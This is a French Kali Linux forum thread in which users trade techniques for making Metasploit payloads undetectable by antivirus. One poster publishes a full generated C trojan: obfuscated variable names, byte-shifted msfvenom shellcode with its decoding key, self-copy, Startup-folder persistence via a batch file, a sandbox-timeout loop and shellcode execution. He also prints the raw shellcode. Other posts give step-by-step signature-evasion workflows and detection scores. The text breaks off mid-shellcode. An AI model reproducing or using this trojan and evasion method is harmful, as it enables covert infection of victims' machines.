Le Forum francophone communautaire des utilisateurs de Kali linux

Développement => Vos créations => Discussion démarrée par: WK le 30 nov. 2016 à 00:36:07

Titre: Proposition explication payload FUD
Posté par: WK le 30 nov. 2016 à 00:36:07
Salut tout le monde,

Comme certains le savent, je travaille depuis quelques temps sur les virus et l'évasion d'antivirus. J'ai ainsi créé un programmes qui "produit" des codes personnalisés en langage C qui une fois compilés sur une machine windows sont totalement indétectables. Plus précisément, le programme permet de:
            
            - sélectionner son payload et ses options (LHOST, LPORT,..)
         - il crée et ajoute un shellcode via msfvenom et le chiffre aléatoirement en gardant la clé de déchiffrage dans le trojan pour son exécution.
         - Toutes les variables déclarées dans le trojan sont des suites de 90-100 caractères aléatoires afin de neutraliser la détection par signature.
         - permet d'ajouter une "messagebox" lors de l'exécution du trojan afin de tromper l'utilisateur.
         - permet que le trojan s'exécute à chaque démarrage de l'ordinateur victime.
         - utilise des méthodes d'évasion d'antivirus pour assurer le FUD () et donne le code dans un fichier.c tout beau qu'il reste plus qu'a compiler.
         - permet de créer un listener automatiquement et d'exécuter un script meterpreter. (Ex: Script permettant de migrer le processus du payload sur le processus explorer.exe dès la réception de la charge)
         - BlaBlaBla.. Vous avez compris le concept
      
Comme je n'ai pas envie de laisser mon outil dans un placard, ni de balancer des trojans FUD comme un marchand de sable, je viens d'avoir une idée de "compromis". Comme pour moi le premier interêt de l'open-source est l'étude et le partage du savoir, est-ce que vous trouveriez intéressant que je montre le code des fonctions importantes du programme en expliquant leurs fonctionnements ainsi que leurs rôles? Faire une sorte d'open-source partiel en ne donnant pas le programme qui fait du FUD mais les parties intéressantes du programme ainsi que l'explication de leurs fonctionnement précis. Je pense que cela pourrait être intéressant sans donner à des scripts-kiddies des trojans FUD, ce dont je ne veux pas endosser la responsabilité.

Qu'en pensez-vous? Trouvez-vous que c'est une bonne idée et que ce serai utile?
Titre: Re : Proposition explication payload FUD
Posté par: Koala le 30 nov. 2016 à 11:17:18
c'est toujours plus instructif de faire comme sa a mon humble avis 8)
Titre: Re : Proposition explication payload FUD
Posté par: Koala le 10 déc. 2016 à 16:44:23
Coucou  8)


Ou en est le projet ? perso je m'amuse sur des truc similaires dans un autre contexte en ce moment mais tes explications sur ton payload serait les bienvenus aussi (on en apprends jamais assez).Le fait de ne pas livrer ton code comme un kinder surprise je peux tout a fait le comprendre, c'est ta vision des choses qui m'intéresse.Je regrette etre le seul qui s'est manifesté sur ce sujet pour le moment.Peut-etre que les gens ont cru que t'allais refourguer ton code direct et en voyant ton post ils ont renoncés car ils se sont dit qu'il allait falloir chercher et apprendre la prog, ça m'étonnerai pas  ;D

Bref  en espérant qu'il y est une suite a ce sujet  :)

@++
Titre: Re : Proposition explication payload FUD
Posté par: WK le 13 déc. 2016 à 12:43:20
Excuse ma réponse tardive, j'avais vu en cours mais je ne m'en souviens que maintenant.
Finalement ça tombe bien parce que j'ai mes examens ainsi que le CCNA à preparer donc ça me fait du travail en moins. Si tu veux je peux te donner les sources :)
Titre: Re : Proposition explication payload FUD
Posté par: Koala le 13 déc. 2016 à 15:31:59
ça serait avec plaisir  8) ne donne qu'une partie de tes sources comme ça j'ai le temps d'assimiler et d'expérimenté la chose a ma manière histoire de bien comprendre le truc, c'est un domaine que je connais mal a vrai dire donc je suis assez curieux  :)
Titre: Re : Proposition explication payload FUD
Posté par: storm222 le 14 déc. 2016 à 22:42:25
Hello,

Sujet très intéressant et prometteur !
Je m'intéresse également aux méthodes utilisés par les antivirus pour détecter si un fichier est un virus ou non et aux méthodes d'évasion.

         - permet que le trojan s'exécute à chaque démarrage de l'ordinateur victime.
Pour faire ça, tu utilises la persistence de metasploit ou c'est quelque chose que tu as coder toi même en C ?

En tous cas très bonne idée, effectivement garde précieusement tes sources pour éviter que le 1er venu puisse créer un trojon FUD.
Bon courage  8)
Titre: Re : Re : Proposition explication payload FUD
Posté par: WK le 15 déc. 2016 à 01:00:28

         - permet que le trojan s'exécute à chaque démarrage de l'ordinateur victime.
Pour faire ça, tu utilises la persistence de metasploit ou c'est quelque chose que tu as coder toi même en C ?


En réalité il suffit de mettre un simple script batch dans le dossier "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup" qui exécute le virus que tu auras préalablement copié n'importe où dans le disque dur et renommé de manière innocente. Simple et indétectable. Mais ce qui est intéressant dans cette démarche est la programmation en elle-même. Pour faire cela tu dois manier des fichiers, lire, écrire, copier en faisant idéalement ton propre code qui lit un fichier en mode binaire (ton virus) et le réecrit autre part .. ( https://openclassrooms.com/courses/lecture-et-ecriture-de-fichiers-en-mode-binaire )

C'est donc la démarche niveau programmation qui est intéressante *****. Finalement le virus qu'on code n'a aucune utilité, ce qu'il nous apporte c'est plus d'expérience en programmation. Et ce genre de petit module tout con permet d'explorer certaines choses que l'on aurait jamais vu sinon.
Voici par exemple mon code permettant de copier un fichier grace à la lecture en mode binaire :

#include <stdio.h>
#include <stdlib.h>

int main(int argc,char *argv[])
{
  char fichier[50],fichier2[50],a;
  FILE *lecture,*ecriture;

  // addresse des fichiers .exe
  printf("Addresse du fichier a copier : " );
  scanf("%s",fichier);
  printf("\nAddresse du fichier de destination : " );
  scanf("%s",fichier2);

  // ouverture en mode binaire 
  if(!(lecture = fopen(fichier,"rb" )))
    {
      printf("Ouverture de %s impossible.\n",fichier);
      return 1;
    }

  if(!(ecriture = fopen(fichier2,"wb" )))
    {
      printf("Ouverture de %s impossible.\n",fichier2);
      return 1;
    }


  // copie du fichier de l'adresse1 à l'addresse2 
  fread(&a,sizeof(char),1,lecture);
  while(!feof(lecture))
    {
      fwrite(&a,sizeof(char),1,ecriture);
      fread(&a,sizeof(char),1,lecture);
    }

  // fermeture des fichiers 

  fclose(lecture);
  fclose(ecriture);
  return 0;
}

Naturellement j'ai ajouté les scanf pour faire joli dans ce cas :-)
De plus, à partir de ça tu peux faire pleins d'autres choses : un binder, crypter,.. Bref, l'important c'est d'explorer !  :D

EDIT : Ce serait marrant de faire un virus qui remplace le "copy" du terminal par une copie qui fait pareil mais injecte une charge au passage  8)

------------------------------------------------------------------------------------------------------------------------------------
***** Ici je ne vise personne et n'insinue rien du tout, c'est juste un message à l'attention de script-kiddies qui passeraient par là afin de bien faire comprendre que l’intérêt de tout cela c'est bien apprendre, pas "hacker" la voisine. J'ai l'impression de marcher sur des oeufs ::)
Titre: Re : Proposition explication payload FUD
Posté par: _john_doe le 16 juil. 2017 à 21:14:17
Salut WK
Je me permets de déterrer ce sujet car je m'intéresse en ce moment au sujet.
Serais très intéressé par tes bouts de code  :)
Ca m'obligera à rafraîchir mes bases de C car mon C++ date d'il y a 15 ans  :)
Titre: Re : Proposition explication payload FUD
Posté par: _john_doe le 20 juil. 2017 à 17:24:58
J'avais commencé à me pencher de mon coté sur la methodo suivante :

1° génération d'un payload en binaire avec MSFVENOM
2° découpage du binaire en blocs d'octets avec SPLIT
3° Determination de quel sous binaire fait hurler l'AV pour déterminer dans quel bout de binaire se trouve la chaine d'octets reconnu par l'AV.
4° isolation du bloc d'octets contenant la chaine reconnue par l'AV avec DD
5° Désassemblage du payload pour isoler le bloc de début et le bloc de fin de la signature virale
6° Ajout d'instructions assembleur pour modifier la signature SANS changer le comportement du payload  -> et c'est la que je me suis rendu compte que mes bases Assembleur ne sont pas encore suffisantes......
7° reste ensuite a réassembler.

CONCLUSION : Faut que je bosse encore l'assembleur :-)


Titre: Re : Proposition explication payload FUD
Posté par: HomardBoy le 06 août 2017 à 03:36:24
Salut  :), j'arrive à modifier mes payload en assembleur comme tu le dis, à changer manuellement la signature, bypass les AV, etc ...
Mais j'ai un soucis, mon fichier d'output est un .binary ( ou .asm toujours dispo ), et je ne sais pas comment le compiler pour rendre le truc éxécutable sur windows ...
Une idée ?
Titre: Re : Proposition explication payload FUD
Posté par: WK le 08 août 2017 à 20:43:25
Je ne comprend pas trop de quoi ton fichier est l'output, mais si tu as fait un payload en asm et que tu veux le compiler je te conseille d'utiliser visual studio :

https://msdn.microsoft.com/fr-be/library/45yd4tzz.aspx

Titre: Re : Proposition explication payload FUD
Posté par: Koala le 09 août 2017 à 12:04:14
Personnellement le poste de WK et son aide m'a été bien utile, j'ai passé le stade du payload fud par contre je bloque pour le maintenir a chaque redémarrage de la machine... bon j'y travaille...  8)
Titre: Re : Re : Proposition explication payload FUD
Posté par: WK le 09 août 2017 à 19:14:48
Personnellement le poste de WK et son aide m'a été bien utile, j'ai passé le stade du payload fud par contre je bloque pour le maintenir a chaque redémarrage de la machine... bon j'y travaille...  8)

La version simple est de copier le payload dans ce dossier :

C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Salut WK
Je me permets de déterrer ce sujet car je m'intéresse en ce moment au sujet.
Serais très intéressé par tes bouts de code  :)
Ca m'obligera à rafraîchir mes bases de C car mon C++ date d'il y a 15 ans  :)

J'ai oublié de le mettre sur ce topic mais j'ai répondu à JD en MP. Ceux qui veulent le meme MP (Code Source dont j'ai prélevé quelques lignes superficielles mais qui rendent le code non fonctionnel par sécurité + Explication ) peuvent me le demander, mais je me réserve le droit de refuser en cas de symptome de script-kiddiite aigue  :)
Titre: Re : Re : Proposition explication payload FUD
Posté par: HomardBoy le 10 août 2017 à 08:15:30
Je ne comprend pas trop de quoi ton fichier est l'output, mais si tu as fait un payload en asm et que tu veux le compiler je te conseille d'utiliser visual studio :

https://msdn.microsoft.com/fr-be/library/45yd4tzz.aspx

C'était le raw output d'un payload msfvenom  :)

J'ai finalement réussi avant de voir ta réponse, en suivant le schéma suivant :

  - Je génère un raw payload msfvenom ( msfvenom blabla R > machin.binary )
  - le coupe en morceaux varibles de 40 à 70 octets ( split -b)
  - passe les morceaux à la moulines de mon AV, jusqu'a rencontrer le bout contenant la signature
  - j'isole le code héxa de la partie contenant la signature
  - je repère quelques caractères du début et de la fin de la signature
  - désassemble le .binary ( avec metasm donc : ruby /blabla/metasm/samples/disassemble.rb > raw.asm )
  - je retrouve le ségment correspondant à la signature
  - j'ajoute des instructions assembleur randoms dans ce fameux ségment, sans casser tous les registres ( géneralement des push / pop avec des affectations de valeurs fonctionnent bien :D )
  - j'assemble la version modifiée ( ruby /blabla/metasm/samples/peencode.rb raw.asm -o raw.exe )
  - Et voilà !

Après c'est aussi possible de changer la taille du buffer des templates meterpreter pour bypass quelques AV en plus !
J'arrive à choper un score de 1/35 sur NoDistribute, et c'est juste à cause d'une analyse heuristique x)
Reste plus qu'a ajouter des pauses randoms dans le tout pour faire un 100% FUD !

Bref,c'était mon retours d'experience perso !

Mais du coup je suis très curieux de savoir comment tu t'y prend de ton côté sans toucher au code assemleur  8)

Ce serais possible d'avoir un peut plus de détails concernant ton projet ?
Je suis très curieux de voir comment tu rend un truc FUD sans modifications manuelles (je suis en train de scripter un "assistant" à la modification manuelle de signature en assembleur, c'est tendu à réellement automatiser).
Tu utilises des templates que tu as rendu FUD manuellement par dessus ta couche d'encryption / obfuscation / etc ...  ?

Je suis grave interessé par des explications, démonstrations, ou autre ...
Et je comprend le compromis dans lequel tu te trouves, c'est pas drôle  :-[

ça t'embête de prendre un peu de ton temps pour répondre à mes questions et discuter tranquillement de tout sa ?
C'est mieux par MP ici, ou tu préfères par mail / irc / autre ?
Titre: Re : Proposition explication payload FUD
Posté par: HomardBoy le 10 août 2017 à 21:05:40
Dsl du double post,
J'ai passé une partie de ma journée à essayer de faire un truc similaire en C, mais je n'arrive vraiment pas au 100% FUD ( https://nodistribute.com/result/SnOdZfDFNxzHXar7kGmi1Pjpv8 ).
J'ai donc un payload auto-chiffré, capable d'évader les sandbox : des allocation mémoires de fous, des boucles qui timeout la sandbox, et des tentatives de connexions vers l'extérieur ( à la wannacry  xD ).
La vrais charge utile à été modifiée à la main pour bypass la détection par signature, j'ai évité les ports à la con (443/444/etc...) et modifié toutes les variables ...

Mais toujours impossible d'avoir un fichier 100% FUD ...

Je vais me tourner vers du bf_xor ou du shikata ga nai, mais je doute que cela fonctionne vraiment ...
Titre: Re : Proposition explication payload FUD
Posté par: WK le 10 août 2017 à 21:07:43
Ce soir j'ai un petit soucis (mon appart a failli cramer  ;D )mais demain je te fais l'explication promis  :P
Titre: Re : Proposition explication payload FUD
Posté par: HomardBoy le 11 août 2017 à 13:26:00
Pas de soucis, te prend pas la tête  ;D
Je t'enverrai aussi en MP ce que j'ai fais, il y aura certainement des fonctions C pour bypass les sandbox qui te seront utiles  ;)
Titre: Re : Proposition explication payload FUD
Posté par: WK le 13 août 2017 à 12:23:56
Je me permet de réutiliser le MP que j'avais fait à JD. Si vous voulez le code pour voir (ce qui ne sera pas nécéssaire je pense vu la simplicité profonde de ma méthode), je vous l'envoie en MP mais en version "qui marche pas" par sécurité tout de même (J'ai enelvé quelques instructions qui vont provoquer des seg fault).
Si vous voulez avoir le code juste pour par exemple reprendre le code de base et rajouter des choses (techniques d'évasion de sandbox, modules de persistence plus poussé, ..) je ne suis à priori pas contre que mon code soit repris comme base mais il faudra logiquement m'expliquer plus précisément votre projet  :D

Bon, voila le fameux MP :

------------------------------------------------------------------------------

Si il y a une chose à retenir, c'est ceci : BORDEL MAIS QUE C'EST CON. C'est à dire que souvent, lorsqu'on fait des recherches sur les FUD, on arrive avec des machins incompréhensibles de cryptage et autres.. Ici ma démarche a été étonnement simple par rapport au résultat. Un code qui sort du programme ressemble à cela :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

char lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit[300];
char qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs[500]="copy \"";
char qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt[100];
char wcbwtrsjgatigreosnaicinunfuonuigwdwsurvuslgsgkebavecglqoqowblhbfebrbsqvheeueosajqelrpwcdn[2]="ii";char wudvliggiprgvfvuhbecwwewrewgfmfvectpedwgmkmkpfhqalsafqqwupwtwvrdroswllwavmlnrmalbsfafvwco[100]="\"C:\\Users\\%username%\\";
char rgjalalbrwtnftmdmplvhswrwamfmsqaccahtlioevvjlkhatmpvcojbjwavrqvntpvjdarhqpleumwkboiugswpl[500]="@echo \"C:\\Users\\%username%\\blublub.exe\" > \"C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\beta.bat\"";
int espnaokmnvieafemvnavuaitnikmlvlplealmksccuadcfjsmkqkksarulgijrsupsdewvacsbwoaijmmtwwirqff=0;int tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje=0;
int wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv=0;
int iffntrjwvenkoqlbhpvrsuldopweucrgbqnpkwojuenlpbgwlergbwjkiciavcaamnjrnrueqkqigqhlvsrqluuuwf[105148];
unsigned char buf[] =
"\xbd\x88\xcd\x8f\x09\xde\xc3\xda\x78\x28\xf8\x5f\x2c\xca\xb3\x5d\x39\x5f\x18\x84\xef\xff\x05\xdf\xc6\x6a\xf8\x3c\x03\xd9\x88\x39\x79\x50\xad\x37\x5c\x66\x16\x93\x6c\x39\xff\xd7\x2f\x2f\x7f\xd9\xae\x4e\xc7\xc0\xde\x70\x58\x48\xf9\x55\x3f\xd0\x89\x1c\x3d\x69\x19\xb6\x86\x85\x18\xf7\x8e\x85\xde\x6d\xb4\xe9\xa8\xcc\xff\xd7\xa5\x88\x87\xa6\x6e\x48\x65\xea\x45\xb5\x5c\x0f\x57\xf6\x5e\x55\x49\xa7\x0f\x4a\xea\xb6\xf9\x5c\xd9\x19\x1e\xfd\xfa\xcf\xe9\xcd\x2a\x96\x78\x68\x49\x97\x59\xef\xf9\x9f\xaa\xf9\x80\xaf\x67\x3f\xf9\xff\x97\x46\x7a\x7f\xf9\xee\x0a\x09\xae\xe1\x88\x09\x6f\x96\x48\xfe\xad\x69\xa8\x9e\x0d\xc2\xb6\xa5\x69\x6f\xf7\x05\x67\x29\x2e\x1d\xc9\xf8\x9f\x29\xe7\x6f\xdf\x5a\xf9\x8d\x19\xfe\x79\xce\xf9\xc8\x1a\x08\xb9\x40\xe8\xf9\xdd\xef\x6f\x1c\x5f\xfe\xa9\x6c\xd7\xc9\xa9\xe9\x33\x97\xb5\x4f\x89\xd9\xf8\x48\x08\x25\x3b\x60\x3e\x1f\xe6\x99\xf9\x98\x6f\x68\x99\xb9\x7c\x8c\x0e\xb7\x77\x43\x7e\xdf\x85\xcf\x32\x7f\x9f\xac\x69\xe3\xaa\x19\x46\x0d\x48\xad\xee\x4c\xea\x60\x67\x99\x8f\x1e\x19\x59\xd7\x98\x56\x88\xe0\x8a\x04\x78\x7e\xc4\xd9\xd6\xbc\x4e\x09\xa0\xff\x36\xa7\x5e\x49\x59\xaf\x97\x1e\x40\x38\x5e\x54\x66\x5e\x6e\xcd\xc8\x56\x2c\x1a\x98\xf7\xb5\xb9\xc7\xb8\x29\xa6\x98\x28\xe7\x0f\x05\xd0\x68\x33\x38\x8d\x80\x69\x8e\x1f\x8d\xbc\xa8\x78\xd4\xe9\x80\x29\x19\xde\x52\x68\x7e\x48\x57\x58\xca\x18\x69\x7a\x7f\xf0\x3a\x6f\x35\x7a\xb8\x40\xf0\x09\x08\xa2\x5b\xf8\xd8\x12\x79\xd7\x88\xef\xb0\xd0\x86\x87\x98\x7e\x37\xff\x09\x28\x37\xc9\xe9\x85\x47\xd8\x6c\xe3\x58\x0f\x36\x3d\x67\xf0\xaf\x7f\x66\x25\x56\x38\x44\xb6\xdf\x6f\xf9\x20\xef\xdf";

int gsqqsrppfbpnqwpfiiqqbcwsqvjpvrgvgqoskakjbtrrmdrpmkihmhcfwfooqonahvmmwrvanpmdtamckujrvfquk[]={2,5,3,4,7,4,1,1,4,4,4,1,1,1,2,2,8,1,6,1,1,3,2,2,2,1,1,1,1,4,4,8,1,1,1,6,1,2,2,1,2,4,2,2,1,1,2,2,3,1,4,1,3,1,2,1,7,4,1,1,4,2,1,3,4,1,1,4,2,6,2,1,1,1,3,1,1,2,3,4,5,4,4,3,3,3,1,1,1,5,1,1,4,4,4,1,3,5,1,1,1,4,5,1,3,1,3,2,1,2,1,2,1,6,5,8,8,1,2,1,7,1,1,6,1,1,4,1,1,1,4,2,1,1,7,1,1,8,2,1,6,1,1,2,6,1,3,4,1,4,2,2,6,4,1,1,3,2,1,5,4,1,9,2,2,8,4,3,1,1,1,2,1,1,1,3,1,1,1,1,9,1,4,1,3,2,1,1,4,1,8,2,1,6,1,4,2,1,1,1,2,2,5,1,1,5,1,1,1,3,3,1,1,7,4,3,3,2,1,1,1,5,4,3,1,1,4,2,1,3,1,1,1,1,1,2,4,3,1,2,1,1,1,1,3,4,4,3,5,6,5,1,6,1,1,1,2,7,1,1,3,5,2,2,1,1,1,1,4,3,2,9,1,5,1,1,3,4,1,4,2,3,1,3,6,2,1,2,2,3,1,3,2,9,5,2,5,1,3,3,1,5,3,6,1,1,9,2,5,1,1,2,4,1,2,1,8,1,4,2,2,1,1,1,2,1,4,1,1,5,1,1,1,4,1,6,1,1,1,1,1,1,7,4,2,1,1,2,2,1,1,5,1,3,2,3,2,7,2,1,3,4,2,7,1,2,3,3,1,4,3,4,1,3,1,2,4,4,4,4,1,2,4,9,1,5,1};
int lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf;
int abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl=0;
int (*ret)() = (int(*)())buf;



int main(int argc,char *argv[])
{
 //HWND hwnd=GetForegroundWindow (); //ShowWindow (hwnd,SW_HIDE);
printf("1 ");lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf=strlen(buf);
printf("1 ");strcpy(lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit,argv[0]);
strcat(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs,lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit);
strcat(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs,"\" \"C:\\Users\\%username%\"");
strcpy(qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt,"blublu.exe");
strcat(wudvliggiprgvfvuhbecwwewrewgfmfvectpedwgmkmkpfhqalsafqqwupwtwvrdroswllwavmlnrmalbsfafvwco,qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt);
system(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs);
system(rgjalalbrwtnftmdmplvhswrwamfmsqaccahtlioevvjlkhatmpvcojbjwavrqvntpvjdarhqpleumwkboiugswpl);
printf("1 ");if(strstr(argv[0],"blubl"))
{
lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf=strlen(buf);while (wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv<98000)
{
iffntrjwvenkoqlbhpvrsuldopweucrgbqnpkwojuenlpbgwlergbwjkiciavcaamnjrnrueqkqigqhlvsrqluuuwf[wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv]=6;
wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv++;

tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje++;
}
if(tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje>9000)
{
while(abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl<lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf)
{
buf[abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl]-=gsqqsrppfbpnqwpfiiqqbcwsqvjpvrgvgqoskakjbtrrmdrpmkihmhcfwfooqonahvmmwrvanpmdtamckujrvfquk[abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl];
abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl++;
}
ret();
}
}
}

La première chose que j'ai faites, c'est que dès que je devais insérer une variable dans le code du trojan, au lieu de mettre ca :

int variable=0;
je crée un nom aléatoire entre 90 et 100 lettres pour chaque nouvelle variable que je déclare comme ceci :

int aliozefjsmeklfnzermrfljefklhsefmlserhgmjlserlfrfjkhserfkuefrforefjrmkfrhfkermlsksdmlcjhs = 0;
Note : Je relis et je trouve ca à moitié clair. Je sais que ca fait très "inception" mais mon programme génère un fichier .c qui contient le code du trojan en C directement compilable. si je veux utiliser une variable je procède simplement comme suit :

char contenantdemavariable[100] = fonctionquigénère100lettresaléatoire();
et lorsque je dois utiliser cette variable dans le code final pour faire disons une addition alors il suffit de faire ceci :

fprintf(fichier, "%s += %s" , contenantdemavariable, autrevariable);
[/i]

Le but étant tout simplement de créer un nombre inimaginable de signature possible rendant impossible la détection par signature du trojan. Il suffit de stocker chaque nom de variable du trojan dans une chaine qui est inséreré dans le code final à chaque fois que l'on a besoin de cette variable. Ultra simple.

A ce moment ci, la structure du programme vaut simplement : je place un shellcode, je l'exécute, toutes les variables sont moches. Maintenant en ce qui concerne le shellcode, au début je le déclarais normalement sans rien y toucher. Ensuite j'ai eu l'idée de le changer aléatoirement.
Je crée donc un shellcode avec msfvenom :

unsigned char buf[] =
"\xbb\x83\xca\x8b\x02\xda\xc2\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x5b\x31\x5e\x12\x83\xee\xfc\x03\xdd\xc4\x69\xf7\x3b\x02\xd5"
"\x84\x31\x78\x4f\xac\x31\x5b\x64\x14\x92\x6a\x35\xfd\xd5\x2e"
"\x2e\x7d\xd7\xab\x4d\xc3\xbf\xdb\x6f\x56\x47\xf2\x51\x3e\xcf"
"\x85\x1a\x3c\x66\x15\xb5\x85\x81\x16\xf1\x8c\x84\xdd\x6c\xb1"
"\xe8\xa7\xca\xfc\xd3\xa0\x84\x83\xa3\x6b\x45\x64\xe9\x44\xb0"
"\x5b\x0e\x53\xf2\x5a\x54\x46\xa2\x0e\x49\xe9\xb2\xf4\x5b\xd6"
"\x18\x1b\xfb\xf9\xcd\xe8\xcb\x29\x90\x73\x60\x41\x96\x57\xee"
"\xf2\x9e\xa9\xf3\x7f\xae\x63\x3e\xf8\xfe\x93\x44\x79\x7e\xf2"
"\xed\x09\x01\xac\xe0\x82\x08\x6e\x94\x42\xfd\xaa\x65\xa7\x9a"
"\x0b\xc0\xb0\xa1\x68\x6e\xf4\x03\x66\x24\x2a\x1c\xc0\xf6\x9d"
"\x21\xe3\x6c\xde\x59\xf8\x8b\x18\xfd\x78\xcb\xf8\xc7\x19\x07"
"\xb0\x3f\xe4\xf8\xda\xed\x6e\x1b\x5b\xfd\xa1\x6a\xd6\xc3\xa8"
"\xe5\x31\x96\xb4\x4e\x87\xd7\xf3\x47\x07\x20\x3a\x5f\x3d\x1c"
"\xe3\x98\xf8\x91\x6b\x65\x96\xb7\x7b\x8b\x0d\xb2\x73\x40\x7d"
"\xde\x81\xcd\x31\x7c\x9e\xab\x68\xe2\xa9\x17\x42\x0a\x47\xab"
"\xed\x4b\xe9\x5f\x64\x95\x8b\x1b\x14\x53\xd2\x97\x50\x87\xdf"
"\x89\x02\x71\x7d\xc3\xd6\xd1\xba\x4c\x08\x9f\xfe\x35\xa3\x5b"
"\x47\x50\xae\x92\x1d\x3f\x35\x5a\x53\x62\x5c\x6b\xcc\xc5\x50"
"\x2a\x19\x96\xf5\xb2\xb8\xc4\xb6\x20\xa1\x96\x23\xe6\x0c\x02"
"\xcf\x63\x30\x32\x8c\x7f\x60\x8c\x1a\x8c\xbb\xa6\x74\xd3\xe7"
"\x7f\x21\x18\xda\x50\x66\x7d\x47\x56\x56\xc9\x14\x68\x79\x7a"
"\xef\x39\x6e\x31\x79\xb2\x3f\xef\x08\x07\xa1\x5a\xf1\xd4\x10"
"\x78\xd6\x86\xed\xaf\xcf\x81\x86\x95\x7c\x34\xfd\x02\x26\x36"
"\xc6\xe5\x83\x40\xd7\x6a\xe0\x55\x0e\x32\x3a\x63\xef\xac\x7e"
"\x64\x21\x52\x34\x40\xb5\xdd\x6b\xf0\x1f\xea\xde";

Ce shellcode je le met dans un fichier à part. Pour le mettre dans le fichier final, je le lis opcode par opcode. Ainsi, avant de mettre un opcode lu dans le code final, je l'additione avec une valeur aléatoire, puis je le met dans le fichier. Et cette valeur, je l'ajoute dans un tableau de int. Ce qui fait que l'on a un shellcode qui ne veut RIEN dire avec un tableau qui ne veut RIEN dire.. bref, la détection par signature ne sert absolument plus a rien puisque le shellcode devient ceci dans le code du trojan :

unsigned char buf[] =
"\xbd\x88\xcd\x8f\x09\xde\xc3\xda\x78\x28\xf8\x5f\x2c\xca\xb3\x5d\x39\x5f\x18\x84\xef\xff\x05\xdf\xc6\x6a\xf8\x3c\x03\xd9\x88\x39\x79\x50\xad\x37\x5c\x66\x16\x93\x6c\x39\xff\xd7\x2f\x2f\x7f\xd9\xae\x4e\xc7\xc0\xde\x70\x58\x48\xf9\x55\x3f\xd0\x89\x1c\x3d\x69\x19\xb6\x86\x85\x18\xf7\x8e\x85\xde\x6d\xb4\xe9\xa8\xcc\xff\xd7\xa5\x88\x87\xa6\x6e\x48\x65\xea\x45\xb5\x5c\x0f\x57\xf6\x5e\x55\x49\xa7\x0f\x4a\xea\xb6\xf9\x5c\xd9\x19\x1e\xfd\xfa\xcf\xe9\xcd\x2a\x96\x78\x68\x49\x97\x59\xef\xf9\x9f\xaa\xf9\x80\xaf\x67\x3f\xf9\xff\x97\x46\x7a\x7f\xf9\xee\x0a\x09\xae\xe1\x88\x09\x6f\x96\x48\xfe\xad\x69\xa8\x9e\x0d\xc2\xb6\xa5\x69\x6f\xf7\x05\x67\x29\x2e\x1d\xc9\xf8\x9f\x29\xe7\x6f\xdf\x5a\xf9\x8d\x19\xfe\x79\xce\xf9\xc8\x1a\x08\xb9\x40\xe8\xf9\xdd\xef\x6f\x1c\x5f\xfe\xa9\x6c\xd7\xc9\xa9\xe9\x33\x97\xb5\x4f\x89\xd9\xf8\x48\x08\x25\x3b\x60\x3e\x1f\xe6\x99\xf9\x98\x6f\x68\x99\xb9\x7c\x8c\x0e\xb